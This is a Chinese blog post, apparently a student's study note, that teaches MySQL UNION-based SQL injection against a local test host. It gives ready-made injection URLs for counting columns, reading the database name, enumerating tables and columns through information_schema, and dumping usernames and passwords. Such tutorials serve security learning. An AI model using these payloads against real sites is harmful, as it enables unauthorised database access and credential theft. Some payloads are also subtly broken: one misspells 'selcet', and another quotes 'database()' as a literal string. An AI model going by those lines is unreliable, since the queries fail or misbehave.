小贤网安笔记(MySQL注入)

本文详细介绍了如何在MySQL中利用SQL注入技术,包括寻找注入点、判断注入类型、确定字段数、获取数据库名、表名、列名以及尝试获取敏感数据的方法。重点讲解了URL构造和安全风险防范。
摘要由CSDN通过智能技术生成

 

MySQL注入

 一:寻找注入点

明确请求方法:常用的请求方法有get,post,cookie,http

     用“逻辑语句”判断,and 1=1 ,and 1=2(整数型)

     用 ' 判断(字符型)


二:判断sql注入是字符型还是数字型

     字符型用 ' 闭合 

     (本文操作是字符型)字符型闭合还有" } "," ] ",'' ) "," % "," " "符号


三:判断字段数

     order by关键字判断字段数

字段即是列

845429bf683b411586e42c3d3533d44c.png

如图:上图表中有编号,姓名,工资,性别,年龄 5个字段

字段:我们把表中的每一行叫做一个“记录”,每一个记录包含这行中的所有信息,就像在通讯录数据库中某个人全部的信息,但记录在数据库中并没有专门的记录名,常常用它所在的行数表示这是第几个记录。字段是比记录更小的单位,字段集合组成记录,每个字段描述文献的某一特征,即数据项,并有唯一的供计算机识别的字段标识符。(一般类或结构中定义的变量和常量叫字段。)
 

http://127.0.0.1/?id=-1' order by 3 %23

如果表中只有3个字段,order by 后的数字大于3页面将返回错误

若%23行不通可以换为--+或#,注意观察url中的编码情况,多余的编码字符都会导致注入失败


确定表中字段数后进行union查询

url注入语句

http://127.0.0.1/?id=-1' union select 1,2,3 %23

后台执行语句

$sql=select  *  from users where id='-1' union select 1,2,3 #' ;

%23:#的url编码

id=-1:使表中各列为空,回显union select 1,2,3 中的 1,2,3

union:合并两个或多个 SELECT 语句的结果

#:注释符,使后面的语句无效

 


四:查数据库名

database()    MySQL中回显数据库名的函数

version()      查询数据库版本 

url注入语句

http://127.0.0.1/?id=-1' union select 1,database(),3 %23


五:查表名

 

在MySQL5.0以上版本中,MySQL存在一个自带的数据库名为information_schema,它存储所有数据库名,表名,列名,可以通过它来查询数据库下面的表名和列名信息

数据库中的符号"."表示下一级  如:xian.user 表示xian数据库下的user表

information_schema.tables   记录所有表名信息的表

information_schema.columns    记录所有列名信息的表

table_name  表名

column_name 列名


查询数据库名database()下的表名信息

http://127.0.0.1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='database()'  %23

GROUP_CONCAT()函数是MySQL中的一个聚合函数,它将多行数据按照指定的顺序连接成一个字符串。下面是一个简单的例子:

SELECT GROUP_CONCAT(name) FROM students;

这个查询将会返回一个包含所有学生姓名的字符串,每个姓名之间用逗号分隔。默认情况下,GROUP_CONCAT()函数使用逗号作为分隔符


六:查列名

查询指定表名table_name下的列名信息:

http://127.0.0.1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'  %23

 


七:查数据(用户名密码等敏感信息)

 

http://127.0.0.1/?id=-1' union selcet 1,2,group_concat(username,password) from 表名 --+

 --+等同于#

在mysql中,“-- ”和“#”都为注释符号,“--”后需要空格才可执行,“+”在url中会被地址解析为空格,但某些时候“+”在传输过程中会发生错误导致后面的语句注释失败

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值